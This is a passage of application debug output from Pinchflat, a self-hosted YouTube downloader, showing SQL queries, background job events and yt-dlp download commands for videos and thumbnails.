m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [104] 22:46:01.979 [info] {"args":{"id":105},"id":104,"meta":{},"system_time":1774665961979763374,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:46:01.980 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [105] 22:46:01.980 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:46:01.980 [debug] QUERY OK source="tasks" db=0.5ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:01.980 [debug] QUERY OK source="tasks" db=0.7ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:01.980 [debug] QUERY OK source="sources" db=0.5ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:46:01.981 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [104, 105] 22:46:01.981 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:46:01.981 [debug] QUERY OK source="media_items" db=0.5ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [104, 105] 22:46:01.981 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105] 22:46:01.982 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [105] 22:46:01.982 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:46:01.982 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:01.982 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:01.983 [debug] Running yt-dlp command for action: get_downloadable_status 22:46:01.983 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:01.983 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:01.983 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:01.984 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=6inDQO2ughI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2e/8a/2e8a5ab03568402340a4219bc353918f32a2ef4cabadea554cc0fa0ccdf54f0a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:46:04.551 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=6inDQO2ughI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2e/8a/2e8a5ab03568402340a4219bc353918f32a2ef4cabadea554cc0fa0ccdf54f0a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:46:04.551 [debug] Running yt-dlp command for action: download 22:46:04.551 [debug] QUERY OK source="settings" db=0.1ms idle=1487.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:04.551 [debug] QUERY OK source="settings" db=0.0ms idle=1487.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:04.551 [debug] QUERY OK source="settings" db=0.0ms idle=1487.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:04.551 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=6inDQO2ughI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a8/82/a8829aca58df43e8bce55d1705fcb6cb521b5c9208d4e7de34ea6d18e6ed30ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:46:22.984 [info] GET /sources/1/media/101/edit 22:46:22.984 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101", "source_id" => "1"} Pipelines: [:browser] 22:46:22.985 [debug] QUERY OK source="media_items" db=0.2ms idle=1606.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:46:22.985 [debug] QUERY OK source="settings" db=0.1ms idle=922.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:22.986 [debug] QUERY OK source="settings" db=0.1ms idle=922.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:22.986 [debug] QUERY OK source="settings" db=0.1ms idle=923.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:22.987 [info] Sent 200 in 3ms 22:46:28.954 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:43.918 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1I8LiVAyYVg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9b/77/9b772a23d5fdfe2dfa3393a93d368e2ee7659a97368545fe7dacc46b34f97daa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:46:43.927 [debug] Running yt-dlp command for action: download_thumbnail 22:46:43.928 [debug] QUERY OK source="settings" db=0.1ms idle=1864.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:43.928 [debug] QUERY OK source="settings" db=0.0ms idle=1864.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:43.928 [debug] QUERY OK source="settings" db=0.0ms idle=1865.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:43.928 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1I8LiVAyYVg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/104/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6d/65/6d65620746caddb0234fd784c4f336019254ef68d1c25a5751ed2d14d2a1cdd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:46:46.454 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1I8LiVAyYVg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/104/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6d/65/6d65620746caddb0234fd784c4f336019254ef68d1c25a5751ed2d14d2a1cdd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:46:46.454 [debug] QUERY OK db=0.0ms idle=1390.6ms begin [] 22:46:46.462 [debug] QUERY OK source="media_items" db=8.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:46:43Z], "/downloads/Last Meals/2025-01-07 Linkin Park's Mike Shinoda Eats His Last Meal/Linkin Park's Mike Shinoda Eats His Last Meal [1I8LiVAyYVg].mp4", ~U[2026-03-28 02:46:46Z], 104] 22:46:46.463 [debug] QUERY OK source="media_metadata" db=0.7ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/104/metadata.json.gz", "/config/metadata/media_items/104/thumbnail.jpg", 104, ~U[2026-03-28 02:46:46Z], ~U[2026-03-28 02:46:46Z]] 22:46:46.464 [debug] QUERY OK db=0.1ms commit [] 22:46:46.466 [debug] QUERY OK source="media_items" db=1.6ms idle=1400.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [285757541, ~U[2026-03-28 02:46:46Z], 104] 22:46:46.466 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:46:46.466 [info] {"args":{"id":104},"id":103,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":109585615,"event":"job:stop","queue_time":6941880387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:46:46.467 [debug] QUERY OK source="tasks" db=0.6ms idle=50.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:46.467 [debug] QUERY OK source="tasks" db=0.8ms idle=403.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:46.467 [debug] QUERY OK source="media_items" db=0.1ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [105] 22:46:46.468 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [105] 22:46:46.472 [info] {"args":{"id":106},"id":105,"meta":{},"system_time":1774666006472848176,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:46:46.473 [debug] QUERY OK source="media_items" db=0.2ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [106] 22:46:46.473 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:46:46.474 [debug] QUERY OK source="tasks" db=0.8ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:46.474 [debug] QUERY OK source="tasks" db=1.0ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:46.474 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:46:46.474 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [105, 106] 22:46:46.474 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [105, 106] 22:46:46.475 [debug] QUERY OK source="media_profiles" db=0.8ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:46:46.476 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [106] 22:46:46.476 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [106] 22:46:46.476 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:46:46.476 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:46.477 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 